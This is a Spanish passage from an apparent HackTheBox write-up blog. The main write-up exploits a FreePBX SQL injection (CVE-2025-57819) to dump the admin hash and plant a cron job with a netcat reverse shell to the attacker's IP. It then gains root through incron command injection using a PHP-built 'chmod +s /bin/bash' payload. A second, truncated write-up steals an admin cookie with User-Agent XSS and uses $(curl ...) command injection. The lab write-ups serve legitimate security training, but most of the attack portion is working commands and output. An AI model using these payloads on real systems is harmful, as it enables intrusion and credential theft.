privesc a través de memoria compartida. CVE-2016-10010: Potencial privesc a través de unix-domain socket CVE-2016-10011: Information Disclosure, necesitamos estar en el servidor. 80/tcp (Apache httpd 2.4.6): Servidor HTTP. Se ha encontrado información en robots.txt 443/tcp (Apache httpd 2.4.6): Probablemente sirva lo mismo que el puerto 80, pero de forma segura. Se usa OpenSSL/1.0.2k-fips PHP/7.4.16 El servidor usa CentOS como sistema operativo, algo diferente a lo que suele verse normalmente en máquinas de HTB (Debian/Ubuntu), y discontinuado desde finales de 2021.\nPuerto 80, HTTP # Al entrar, encontramos la siguiente página. Vemos el panel de control de FreePBX 16.0.40.7. Si buscamos más acerca de la aplicación:\nFreePBX es una plataforma de software libre que funciona como GUI para administrar Asterisk (el motor de telefonía VoIP más popular del mundo). Permite crear y gestionar una centralita telefónica (PBX) completa para empresas o particulares mediante un panel de control web.\nCVE-2025-57819 # Si buscamos más acerca de esta versión:\nCVE-2025-57819: Unauthenticated RCE. CVSS 9.8 El ataque usa un fallo de diseño en FreePBX que permite que ciertos archivos .php se carguen antes de que el usuario se autentique. Al usar este fallo de diseño a la vez que se accede al módulo Endpoint Manager, un atacante puede mandar inputs sin filtrar, lo que deriva en una SQLi. Esta SQLi puede usarse para modificar la DB del backend, por ejemplo para inyectar webshells u otros payloads similares. Tras una búsqueda, encontramos un PoC simple que consiste en una solicitud con curl:\n1 $ curl -i -k \u0026#34;https://connected.htb/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\u0026amp;command=model\u0026amp;template=x\u0026amp;model=model\u0026amp;brand=x\u0026#39;+AND+EXTRACTVALUE(1,CONCAT(\u0026#39;~USER:\u0026#39;,(SELECT+USER()),\u0026#39;~\u0026#39;))+--+\u0026#34; Aquí puede apreciarse el payload que mandamos a la DB aprovechando la SQLi: CONCAT('~USER:',(SELECT+USER()),'~'). Esto nos dará algo como ~USER:[usuario]~ Si lo mandamos:\n1 2 3 4 5 6 7 8 9 10 $ curl -i -k \u0026#34;https://connected.htb/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\u0026amp;command=model\u0026amp;template=x\u0026amp;model=model\u0026amp;brand=x\u0026#39;+AND+EXTRACTVALUE(1,CONCAT(\u0026#39;~USER:\u0026#39;,(SELECT+USER()),\u0026#39;~\u0026#39;))+--+\u0026#34; -s | tail -n 1 | jq # -s | tail -n 1 | jq es para organizar y filtrar el output. { \u0026#34;error\u0026#34;: { \u0026#34;type\u0026#34;: \u0026#34;Exception\u0026#34;, \u0026#34;message\u0026#34;: \u0026#34;SQLSTATE[HY000]: General error: 1105 XPATH syntax error: \u0026#39;~USER:freepbxuser@localhost~\u0026#39;::\u0026#34;, \u0026#34;file\u0026#34;: \u0026#34;/var/www/html/admin/libraries/utility.functions.php\u0026#34;, \u0026#34;line\u0026#34;: 123 } } Aquí vemos ~USER:freepbxuser@localhost~.\nEnumeración y hashes # Antes de intentar aprovechar la posibilidad de RCE directamente, vamos a ver qué más info podemos conseguir. Si vamos cambiando el payload por otros, podemos sacar más datos:\nMiramos @@version: 5.5.65-MariaDB Miramos qué DBs hay que no sean del sistema. 1 2 3 4 5 6 7 8 9 $ curl -i -k \u0026#34;https://connected.htb/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\u0026amp;command=model\u0026amp;template=x\u0026amp;model=model\u0026amp;brand=x\u0026#39;+AND+EXTRACTVALUE(1,CONCAT(\u0026#39;~DB:\u0026#39;,(SELECT+SCHEMA_NAME+FROM+INFORMATION_SCHEMA.SCHEMATA+WHERE+SCHEMA_NAME+NOT+IN+(\u0026#39;information_schema\u0026#39;,\u0026#39;performance_schema\u0026#39;,\u0026#39;mysql\u0026#39;,\u0026#39;sys\u0026#39;)+ORDER+BY+SCHEMA_NAME+LIMIT+1),\u0026#39;~\u0026#39;))+--+\u0026#34; -s | tail -n 1 | jq { \u0026#34;error\u0026#34;: { \u0026#34;type\u0026#34;: \u0026#34;Exception\u0026#34;, \u0026#34;message\u0026#34;: \u0026#34;SQLSTATE[HY000]: General error: 1105 XPATH syntax error: \u0026#39;~DB:asterisk~\u0026#39;::\u0026#34;, \u0026#34;file\u0026#34;: \u0026#34;/var/www/html/admin/libraries/utility.functions.php\u0026#34;, \u0026#34;line\u0026#34;: 123 } } Obtenemos la DB asterisk, ahora la añadimos a la lista de filtros (junto con information_schema,performance_schema,etc.), y volvemos a solicitar otro query, así repetidas veces hasta que un query falle porque no queden filas. Al final obtenemos dos, y si buscamos info acerca de cada una en la documentación de FreePBX/Asterisk:\nasterisk: Usada por FreePBX, contiene dispositivos, rutas y credenciales de usuarios. Las credenciales de admin están en ampusers. Las columnas relevantes son username y password_sha1 asteriskcdrdb: Telemetría e historial de llamadas y demás, no relevante. Solicitamos username y password_sha1, obtenemos las siguientes credenciales:\nUsername: admin Password: 05c689686a4fad5ce3ec76e7ae. Solo nos ha dado parte del hash porque EXTRACTVALUE tiene límite de 32 caracteres. Para solucionar esto, podemos ir sacando el hash por bloques. Sacamos del 1 al 30 (total 30 de hash + 2 delimitadores ~):\n1 2 3 $ curl -i -k \u0026#34;https://connected.htb/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\u0026amp;command=model\u0026amp;template=x\u0026amp;model=model\u0026amp;brand=x\u0026#39;+AND+EXTRACTVALUE(1,CONCAT(\u0026#39;~\u0026#39;,MID((SELECT+password_sha1+from+ampusers),1,30),\u0026#39;~\u0026#39;))+--+\u0026#34; -s | tail -n 1 | jq # Devuelve 05c689686a4fad5ce3ec76e7ae5708 Sacamos del 21 al 50 (total 30 de hash + 2 delimitadores ~.). Repetimos los caracteres 21-30 para poder superponerlos y ver dónde cuadran en el hash completo.\n1 2 3 $ curl -i -k \u0026#34;https://connected.htb/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\u0026amp;command=model\u0026amp;template=x\u0026amp;model=model\u0026amp;brand=x\u0026#39;+AND+EXTRACTVALUE(1,CONCAT(\u0026#39;~\u0026#39;,MID((SELECT+password_sha1+from+ampusers),21,50),\u0026#39;~\u0026#39;))+--+\u0026#34; -s | tail -n 1 | jq # Devuelve 76e7ae5708b1fe2da43a Ahora los superponemos y obtenemos el hash completo 05c689686a4fad5ce3ec76e7ae5708b1fe2da43a. Lamentablemente, si intentamos crackearlo, no obtendremos nada, el hash no parece estar en ninguna wordlist, así que vamos a por el RCE.\nRCE # En lugar de depender de métodos tradicionales de RCE a través de SQLi (como INTO OUTFILE), aquí aprovechamos una tabla interna de FreePBX llamada cron_jobs que permite programar y automatizar tareas. Hay varias páginas, como esta que explican ejemplos de este exploit.\nPara explotar esto, mandamos una solicitud como esta:\n1 GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\u0026amp;command=model\u0026amp;template=x\u0026amp;model=model\u0026amp;brand=x\u0026#39;%3b%20INSERT%20INTO%20cron_jobs%20(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)%20VALUES%20(\u0026#39;sysadmin\u0026#39;,\u0026#39;jobname\u0026#39;,\u0026#39;rm%20/tmp/f%3bmkfifo%20/tmp/f%3bcat%20/tmp/f|/bin/sh%20-i%202\u0026gt;%261|nc%2010.10.14.66%204444%20\u0026gt;/tmp/f\u0026#39;,NULL,\u0026#39;*%20*%20*%20*%20*\u0026#39;,30,1,1)%20--%20 Nota: BurpSuite La mayor dificultad que supone esta máquina es el saber encodear todo el payload correctamente. En mi caso al principio estuve intentando usar curl bastante rato para la solicitud, pero daba error (URL Malformed) incluso escapando paréntesis, comillas y demás. Así que la solución para evitar todo este dolor de cabeza es escribirlo sin encodear en BurpSuite, y luego dejar que la aplicación lo codifique todo automáticamente.\nEsto sin estar encodeado en URL queda:\n1 x\u0026#39;; INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES (\u0026#39;sysadmin\u0026#39;,\u0026#39;jobname\u0026#39;,\u0026#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u0026gt;\u0026amp;1|nc 10.10.14.66 4444 \u0026gt;/tmp/f\u0026#39;,NULL,\u0026#39;* * * * *\u0026#39;,30,1,1) -- Si lo mandamos, en el listener recibimos lo siguiente (cada minuto):\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 $ penelope -i 10.10.14.66 [+] Listening for reverse shells on 10.10.14.66:4444 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from connected~10.129.15.100-Linux-x86_64 😍️ Assigned SessionID \u0026lt;1\u0026gt; [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python! 💪 [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 ──────────────────────────────────────────────────────────────────────────────── ______ ______ ______ __ __ | ___| | ___ \\| ___ \\\\ \\ / / | |_ _ __ ___ ___ | |_/ /| |_/ / \\ V / | _| | \u0026#39;__| / _ \\ / _ \\| __/ | ___ \\ / \\ | | | | | __/| __/| | | |_/ // /^\\ \\ \\_| |_| \\___| \\___|\\_| \\____/ \\/ \\/ NOTICE! You have 3 notifications! Please log into the UI to see them! Current Network Configuration Please note most tasks should be handled through the GUI. You can access the GUI by typing one of the above IPs in to your web browser. For support please visit: http://www.freepbx.org/support-and-professional-services +---------------------------------------------------------------------+ | This machine is not activated. Activating your system ensures that | | your machine is eligible for support and that it has the ability to | | install Commercial Modules. | | | | If you already have a Deployment ID for this machine, simply run: | | | | fwconsole sysadmin activate deploymentid | | | | to assign that Deployment ID to this system. If this system is new, | | please go to Activation (which is on the System Admin page in the | | Web UI) and create a new Deployment there. | +---------------------------------------------------------------------+ [asterisk@connected ~]$ Privesc # Al entrar, empezamos a enumerar varias cosas.\nEnumeración inicial # 1 2 3 4 # SISTEMA Linux version 5.4.239-1.el7.elrepo.x86_64 (mockbuild@Build64R7) (gcc version 9.3.1 20200408 (Red Hat 9.3.1-2) (GCC)) #1 SMP Thu Mar 30 10:40:27 EDT 2023 Sudo version 1.8.23 1 2 3 4 5 6 7 8 9 # PUERTOS EN LOCALHOST $ netstat -tunlp | grep 127.0.0.1 tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:4000 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:27017 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:6379 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:5038 0.0.0.0:* LISTEN 1336/asterisk udp 0 0 127.0.0.1:323 0.0.0.0:* - Tras mirar qué hacía cada uno:\nConocidos (en base a lo que sabemos del sistema)\ntcp/27017: MongoDB. Lo usa FreePBX para su módulo de chats/mensajería. tcp/3306: MariaDB. Lo usan asterisk y FreePBX tcp/5038: Asterisk Call Manager/9.0.0 Desconocidos (Sin mirar todavía)\ntcp/25: ESMTP Postfix. Devuelve \u0026ldquo;221 2.7.0 Error: I can break rules, too. Goodbye.\u0026rdquo;. tcp/4000: Devuelve \u0026ldquo;{\u0026ldquo;status\u0026rdquo;: 400, \u0026ldquo;message\u0026rdquo;: \u0026ldquo;Vega to proxy to isn\u0026rsquo;t specified\u0026rdquo;}\u0026rdquo;. tcp/6379: Devuelve \u0026ldquo;-ERR wrong number of arguments for \u0026lsquo;get\u0026rsquo; command; -ERR unknown command \u0026lsquo;User-Agent:\u0026rsquo;\u0026rdquo; Antes de entrar en cada uno de ellos, ejecutamos LinPEAS y encontramos bastantes posibles vectores de escalada:\n1 2 3 # 95% PE Vector # Capabilities: /usr/sbin/dumpcap = cap_net_admin,cap_net_raw+ep Falso positivo: dumpcap es el binario que usa Wireshark, tiene las capabilities para que wireshark pueda capturar paquetes sin tener que ejecutarse completamente como root. 1 2 3 4 # Varias contraseñas de asterisk AMPMGRPASS=fe1mYBs7D5P3 FPBX_ARI_PASSWORD=04cd5eb91771e9eb716aeee1ed6812e0 PHP_CONSOLE_PASSWORD=batteryhorsestaple Probamos a hacer su root (o sudo -l con asterist) con las 3, pero no funciona ninguna.\n1 2 3 4 5 6 # 95% PE Vector Pkexec binary found at: /usr/bin/pkexec Pkexec binary has SUID bit set! -rwsr-xr-x. 1 root root 27672 Jan 25 2022 /usr/bin/pkexec pkexec version 0.112 Potentially vulnerable to CVE-2021-4034 (PwnKit) - check distro patches Potencial falso positivo: Si buscamos en Internet, veremos que \u0026ldquo;CVE-2021-4034 (also known as PwnKit) was publicly patched and disclosed on January 25, 2022\u0026rdquo;, exactamente la fecha de modificación del binario. Es casi seguro que está parcheado. 1 2 3 4 5 6 7 8 9 10 # 95% PE vector /var/spool/asterisk/sysadmin/vpnget IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d /var/spool/asterisk/sysadmin/intrusion_detection_stop IN_CLOSE_WRITE /etc/init.d/fail2ban stop /var/spool/asterisk/sysadmin/update_system_cron IN_CLOSE_WRITE /usr/sbin/sysadmin_update_set_cron /var/spool/asterisk/sysadmin/portmgmt_setup IN_CLOSE_WRITE /usr/sbin/sysadmin_portmgmt /var/spool/asterisk/sysadmin/wanrouter_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_wanrouter_restart /var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart /usr/local/asterisk/ha_trigger IN_CLOSE_WRITE /usr/sbin/sysadmin_ha /usr/local/asterisk/incron IN_CLOSE_WRITE /usr/bin/sysadmin_manager --local $# /var/spool/asterisk/incron IN_MODIFY,IN_ATTRIB,IN_CLOSE_WRITE /usr/bin/sysadmin_manager $# Potencial vector de escalada Incron # Incron es un daemon de Linux, como cron, que ejecuta ciertos scripts/comandos cuando suceden ciertos eventos del sistema de archivos, en lugar de cada cierto tiempo. Por ejemplo, cuando se crea o borra un archivo.\nEn este caso, las dos últimas líneas indican que cada vez que modificamos (o creamos) un archivo en /var/spool/asterisk/incron/, se ejecutará como root el script /usr/bin/sysadmin_manager.\nEl $# al final indica que cuando se ejecuta dicho script, incron le pasa al script el nombre del archivo que ha dado lugar al evento (es decir, /spool/asterisk/incron/[archivo]) como un argumento. Esto permite crear una inyección de comandos si está mal configurado.\nEl problema que tenemos es que incron no ejecuta los comandos con bash, por lo que no podemos pasar, por ejemplo, test;chmod +s /bin/bash para que luego se ejecute /usr/bin/sysadmin_manager test;chmod +s /bin/bash. Incron hace todo mediante syscalls al kernel, lo que significa que si el nombre del archivo es test;chmod +s /bin/bash, se pasará como argv[1] al programa exactamente test;chmod +s /bin/bash. Ahora tenemos que mirar qué hace sysadmin_manager para poder saltarnos sus filtros y finalmente poder ejecutar algo como root.\nSysadmin Manager # El script hace lo siguiente cuando incron le pasa el nombre del archivo en $argv[1]:\nPrimero se guarda en una variable $request, luego se fuerza a que $request siga uno de estos dos patrones, si no, se sale del programa directamente.\nPatrón 1: modulo_hookname. Se divide en: $module: modulo $hook: hookname $params: string vacío. Patrón 2: modulo.hookname.params. Se divide en: $module: modulo $hook: hookname $params: params Este params puede incluir espacios. Una vez se tiene $module y $hook, se crea el path absoluto al script/binario que se ejecutará al final. Este path será $hookfile.\nSi $module es exactamente SYSTEM, entonces $hookfile es /usr/local/asterisk/$hook Si no, entonces $hookfile es /var/www/html/admin/modules/$module/hooks/$hook El script comprueba la firma del archivo $hookfile. Esto significa que no podemos crear uno custom en uno de los directorios anteriores, tenemos que usar uno que venga ya dado por el software.\nTras esto, se hace una comprobación. Si hemos usado el patrón 2 (usando params), y $params era exactamente CONTENTS, entonces no se pasará CONTENTS como parámetro, sino que se leerán 4KB del archivo correspondiente y se usarán como parámetros.\nFinalmente se mira que $params cumpla lo siguiente:\nNo puede tener caracteres que no sean ASCII (y que no sean imprimibles) No puede tener los siguientes caracteres: `'\u0026quot;$\u0026lt;\u0026gt;\u0026amp;; Y al comprobar todo, si no ha fallado nada, se ejecuta system(\u0026quot;$hookfile $params\u0026quot;).\nBuscando cómo explotarlo. # Primero necesitamos encontrar un hook de los que ya tenemos que nos permita conseguir escalar privilegios pasándole algo como argumento, teniendo en cuenta que no podemos escapar del contexto de la llamada porque se bloquean comillas, ampersands, puntos y comas, etc.\nEn el primer posible sitio para los $hookfiles es /usr/local/asterisk. Si listamos lo que hay ahí:\n1 2 3 4 [asterisk@connected asterisk]$ pwd \u0026amp;\u0026amp; ls -l /usr/local/asterisk -rwxrwxrwx. 1 asterisk asterisk 0 Apr 15 2021 ha_trigger drwxrwxrwx. 2 asterisk asterisk 6 Apr 15 2021 incron Tenemos 2 elementos para los que además tenemos permisos de escritura: ha_trigger, un archivo vacío, e incron, un directorio también vacío. El problema con estos es que no podemos usarlos, porque como se comprueban las firmas, si modificásemos uno y lo ejecutásemos, la comprobación fallaría.\nSi miramos el otro directorio, veremos que hay bastantes más.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 [asterisk@connected modules]$ ls /var/www/html/admin/modules accountcodepreserve _cache cloudmigration disa hotelwakeup outcnam printextensions sipstation vmnotify adv_recovery calendar conferences donotdisturb iaxsettings outroutemsg queueprio sms voicemail allowlist callaccounting conferencespro dynroute infoservices paging queues smsplus voicemail_report amd callback configedit endpoint iotserver pagingpro queuestats soundlang voipinnovations announcement callerid contactmanager extensionroutes irc parking qxact_reports superfecta vqplus api callforward core extensionsettings ivr parkpro recording_report synologyabb weakpasswords areminder calllimit cos fax languages pbxmfa recordings sysadmin webcallback arimanager callrecording customappsreg faxpro logfiles phonebook restapps timeconditions webrtc asterisk-cli callwaiting cxpanel featurecodeadmin manager phpinfo ringgroups tts xmpp asteriskinfo cdr dahdiconfig filestore miscapps pinsets sangomaconnect ttsengines zulu backup cdrpro dashboard findmefollow miscdests pinsetspro sangomacrm ucp blacklist cel daynight firewall missedcall pm2 sangomartapi userman broadcast certman dictate framework music pms setcid vega bulkhandler cidlookup directory fw_langpacks oracle_connector presencestate sipsettings vmblast Pero no todos tienen un directorio hooks con algo útil dentro. Podemos filtrar los útiles de la siguiente manera:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 [asterisk@connected modules]$ for i in $(ls); do (var=$(ls \u0026#34;$i/hooks\u0026#34; 2\u0026gt;/dev/null); if [ ! -z \u0026#34;$var\u0026#34; ]; then (echo \u0026#34;$i\u0026#34;);fi);done adv_recovery api backup cdrpro certman cloudmigration core dahdiconfig endpoint filestore firewall framework iotserver oracle_connector pbxmfa pms queuestats restapps sangomaconnect sangomacrm sangomartapi sms synologyabb sysadmin ucp vega vqplus xmpp zulu De 122 en total, hemos reducido la búsqueda a 29. Mirando cuáles puede haber que sean interesantes, encontramos api, que contiene lo siguiente en hooks:\n1 2 [asterisk@connected modules]$ ls api/hooks/ fwconsole-commands logrotate logrotate nos da igual (de momento), pero fwconsole-commands parece interesante. Si lo abrimos, veremos que es algo así:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 #!/usr/bin/php -q \u0026lt;?php error_reporting(E_ALL); require \u0026#39;/usr/lib/sysadmin/includes.php\u0026#39;; $command = $argv[1]; $txn_id = \u0026#34;\u0026#34;; if (isset($argv[1])) { // Underp the base64 $b = str_replace(\u0026#39;_\u0026#39;, \u0026#39;/\u0026#39;, $argv[1]); $settings = @json_decode(gzuncompress(@base64_decode($b)), true); if (is_array($settings)) { $command = $settings[0]; $txn_id = $settings[1]; } } try { $output = array(); $cmd = \u0026#34;/usr/sbin/fwconsole $command 2\u0026gt;\u0026amp;1\u0026#34;; $result = exec($cmd, $output, $return); if ($return == 0) { $message = \u0026#39;Command executed successfully\u0026#39;; $status = \u0026#39;Executed\u0026#39;; } else { $output = json_encode($output); $message = \u0026#34;Failed to execute command [ \u0026#34; . $cmd . \u0026#34; ] , command output = $output\u0026#34;; $status = \u0026#39;Failed\u0026#39;; } } catch (\\Exception $e) { $message = \u0026#34;Exception occurred in executing command \u0026#34; . $cmd . \u0026#34; Error = \u0026#34; . $e-\u0026gt;getMessage(); $status = \u0026#39;Failed\u0026#39;; } Normalmente tendríamos que mirar si exec() de PHP en este caso ejecuta las cosas mediante syscalls (y no hay posibilidad de inyectar comandos) o invocando un shell, pero el 2\u0026gt;\u0026amp;1 nos lo deja bastante claro, es la segunda.\nAdemás, de primeras podría parecer que no lo vamos a poder explotar porque para hacer inyección de comandos aquí necesitamos poder añadir ; o similares, pero lo interesante está en las líneas 9-15 de fwconsole-commands: El script está hecho para procesar un input JSON comprimido a gzip y en base64. Esto significa que podemos hacer lo siguiente:\nCreamos un array JSON en el que el primer elemento es el string malicioso para inyectar comandos. Lo comprimimos a gzip, lo pasamos a base64, y cambiamos / por _, en ese orden. Finalmente, creamos un archivo en el directorio incron usando el formato api.fwconsole-commands.PAYLOAD, con el string codificado en PAYLOAD Para no tener que buscar la implementación de gzcompress() específica de PHP, lo más sencillo es hacer un script en PHP que haga lo que necesitamos, como este:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 \u0026lt;?php // Crear el array que espera fwconsole-commands (comando, \u0026#34;algo arbitrario\u0026#34;) $payload = array(\u0026#34;; chmod +s /bin/bash\u0026#34;, \u0026#34;\u0026#34;); // convertir a json $json = json_encode($payload); echo \u0026#34;JSON: \u0026#34; . $json . \u0026#34;\\n\u0026#34;; // comprimir usando gzcompress $comp = gzcompress($json); // codificar a b64 $b64 = base64_encode($comp); echo \u0026#34;Base64: \u0026#34; . $b64 . \u0026#34;\\n\u0026#34;; // Cambiar \u0026#34;_\u0026#34; por \u0026#34;/\u0026#34; $final_payload = str_replace(\u0026#39;/\u0026#39;, \u0026#39;_\u0026#39;, $b64); echo \u0026#34;Final Payload: \u0026#34; . $final_payload . \u0026#34;\\n\u0026#34;; ?\u0026gt; Lo ejecutamos.\n1 2 3 4 [asterisk@connected modules]$ php -f cosa.php JSON: [\u0026#34;; chmod +s \\/bin\\/bash\u0026#34;,\u0026#34;\u0026#34;] Base64: eJyLVrJWSM7IzU9R0C5WiNFPyswDEonFGUo6SkqxAIMMCJ4= Final Payload: eJyLVrJWSM7IzU9R0C5WiNFPyswDEonFGUo6SkqxAIMMCJ4= Creamos el archivo.\n1 [asterisk@connected modules]$ touch /var/spool/asterisk/incron/api.fwconsole-commands.eJyLVrJWSM7IzU9R0C5WiNFPyswDEonFGUo6SkqxAIMMCJ4= Y si ahora miramos bash.\n1 2 3 4 5 [asterisk@connected modules]$ ls -al /bin/bash -rwsr-sr-x. 1 root root 964536 Apr 1 2020 /bin/bash [asterisk@connected modules]$ /bin/bash -p bash-4.2# whoami root Tenemos root.\n","date":"6 de junio de 2026","externalUrl":null,"permalink":"/writeups/connected/","section":"Writeups","summary":"OS: Linux | Dificultad: Easy | Conceptos: CVE Público, Unauthenticated SQLi en FreePBX, RCE vía SQLi, Privesc mediante inyección de comandos con incron.","title":"HackTheBox - Connected","type":"writeups"},{"content":"","date":"6 de junio de 2026","externalUrl":null,"permalink":"/tags/incron/","section":"Tags","summary":"","title":"Incron","type":"tags"},{"content":"","date":"6 de junio de 2026","externalUrl":null,"permalink":"/tags/php/","section":"Tags","summary":"","title":"PHP","type":"tags"},{"content":"","date":"3 de junio de 2026","externalUrl":null,"permalink":"/tags/cookie-hijacking/","section":"Tags","summary":"","title":"Cookie Hijacking","type":"tags"},{"content":"","date":"3 de junio de 2026","externalUrl":null,"permalink":"/tags/flask/","section":"Tags","summary":"","title":"Flask","type":"tags"},{"content":" Dificultad: easy Tiempo aprox. 1.5h Datos Iniciales: 10.129.8.232 Enumeración inicial # Hacemos un escaneo de puertos inicial y encontramos lo siguiente.\n1 2 3 4 5 6 7 8 9 10 11 $ sudo nmap -sT -Pn --top-ports=5000 10.129.8.232 # Indica 22,5000 $ sudo nmap -sT -Pn -p22,5000 10.129.8.232 -sVC PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA) |_ 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519) 5000/tcp open http Werkzeug httpd 2.2.2 (Python 3.11.2) |_http-title: Under Construction |_http-server-header: Werkzeug/2.2.2 Python/3.11.2 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 22/tcp (OpenSSH 9.2p1): Ninguna vulnerabilidad relevante para este caso. 5000/tcp (Werkzeug httpd 2.2.2): Servidor http, tampoco tiene vulnerabilidades. Puerto 5000, HTTP # Al entrar, nos encontramos con el siguiente panel.\nComo se indica, la página está en construcción. Además pone que es posible hacer preguntas (posiblemente a quien gestione la página) a través de /support\nAl entrar a /support nos encontramos el siguiente formulario, que permite mandar dudas a los desarrolladores.\nComo la duda y nuestros datos se van a pasar al desarrollador de la web, es posible que si ve los datos desde la propia página haya una posible vulnerabilidad XSS.\nXSS # Para comprobarlo, vamos a levantar un servidor HTTP en el puerto 80 primero.\n1 2 3 $ sudo python3 -m http.server -b 10.10.16.82 80 [sudo] password for kali: Serving HTTP on 10.10.16.82 port 80 (http://10.10.16.82:80/) ... Si mandamos el siguiente payload en todas los campos:\n1 \u0026lt;script\u0026gt;fetch(\u0026#39;http://10.10.16.82/?c=\u0026#39; + document.cookie)\u0026lt;/script\u0026gt; Se nos devuelve esto: Your IP address has been flagged, a report with your browser information has been sent to the administrators for investigation.\nComo el reporte con la información del cliente también se envía al administrador, no sería raro que pudiésemos tener un XSS en la propia info del cliente. Podemos probar a usar un User-Agent malicioso en los headers HTTP.\nMandamos la solicitud de nuevo, exactamente igual, pero ahora la interceptamos con BurpSuite y cambiamos el User-Agent por (otra vez):\n1 \u0026lt;script\u0026gt;fetch(\u0026#39;http://10.10.16.82/?c=\u0026#39; + document.cookie)\u0026lt;/script\u0026gt; Si lo mandamos, vemos esto: Ahora User-Agent no tiene nada, lo que indica que es muy probable que se haya tomado como script y se haya ejecutado. Si vamos al servidor web de antes, nos encontramos con la cookie del administrador.\n1 2 3 4 $ sudo python3 -m http.server -b 10.10.16.82 80 [sudo] password for kali: Serving HTTP on 10.10.16.82 port 80 (http://10.10.16.82:80/) ... 10.129.8.232 - - [03/Jun/2026 08:13:41] \u0026#34;GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1\u0026#34; 200 - Ahora vamos a Devtools -\u0026gt; Storage -\u0026gt; Cookies -\u0026gt; is_admin y cambiamos su valor.\nNecesitamos saber dónde usarla, así que enumeramos directorios, porque la página de support y la principal no cambian en nada al cambiar la cookie.\n1 2 3 4 5 6 7 8 9 $ gobuster dir -u http://10.129.8.232:5000 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) Starting gobuster in directory enumeration mode =============================================================== support (Status: 200) [Size: 2363] dashboard (Status: 500) [Size: 265] Y vamos directos a dashboard.\nDashboard # En el dashboard encontramos una herramienta que permite generar reportes de \u0026ldquo;salud\u0026rdquo; del sitio web, incluyendo una fecha.\nAl pulsar el botón con cualquier fecha, pone:\nSystems are up and running!\nNo hay mucho que podamos hacer desde aquí, así que abrimos BurpSuite y miramos la solicitud.\n1 2 3 4 5 6 7 8 9 POST /dashboard HTTP/1.1 Host: 10.129.8.232:5000 ...[SNIP]... Referer: http://10.129.8.232:5000/dashboard Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 Upgrade-Insecure-Requests: 1 Priority: u=0, i date=2023-09-15 Como se manda como parámetro por POST, podemos probar a cambiarlo a cualquier cosa, como datos no numéricos, para ver cómo responde el servidor.\nCommand Injection # Mandamos algunos payloads como los siguientes, pero la respuesta del servidor no varía, sigue siendo \u0026ldquo;Systems are up and running!\u0026rdquo;.\n1 2 3 date=*###*dsad-``+++çç-- date=aaaaaa date=00000000 El único punto en que se devuelve algo diferente es cuando mandamos date= sin ningún dato después. En tal caso no solo no aparece ningún error, sino que no se devuelve nada.\nPodemos imaginarnos el backend como algo que procesa de la siguiente forma.\n1 2 3 4 5 6 7 comando = f\u0026#34;/usr/bin/bash /opt/werkzeug/checkhealth.sh \u0026#39;{fecha}\u0026#39;\u0026#34; try: ejecutar_en_shell(comando) return \u0026#34;Systems are up and running!\u0026#34; except: return \u0026#34;\u0026#34; Así que probamos a escapar de las comillas, por ejemplo haciendo esto:\n1 2 3 4 date=2023-09-15\u0026#39;; curl \u0026#39;http://10.10.16.82 # Todo encodeado a URL # Esto quedaría de la siguiente forma en el supuesto backend: comando = f\u0026#34;/usr/bin/bash /opt/werkzeug/checkhealth.sh \u0026#39;2023-09-15\u0026#39;; curl \u0026#39;http://10.10.16.82\u0026#39;\u0026#34; Pero al solicitarlo, en nuestro servidor no vemos nada. Ahora bien, podemos hacer algo todavía más simple.\nSi la fecha se introduce en bash directamente, podemos abrir un $(...) para que se ejecute todo lo que hay dentro antes de ejecutar checkhealth.sh. Por ejemplo, con un payload así:\n1 date=$(curl 10.10.16.82) Si lo mandamos, miramos el servidor y efectivamente llega la solicitud.\n1 2 3 4 $ sudo python3 -m http.server -b 10.10.16.82 80 [sudo] password for kali: Serving HTTP on 10.10.16.82 port 80 (http://10.10.16.82:80/) ... 10.129.8.232 - - [03/Jun/2026 08:44:27] \u0026#34;GET / HTTP/1.1\u0026#34; 200 - Así que metemos un reverse shell 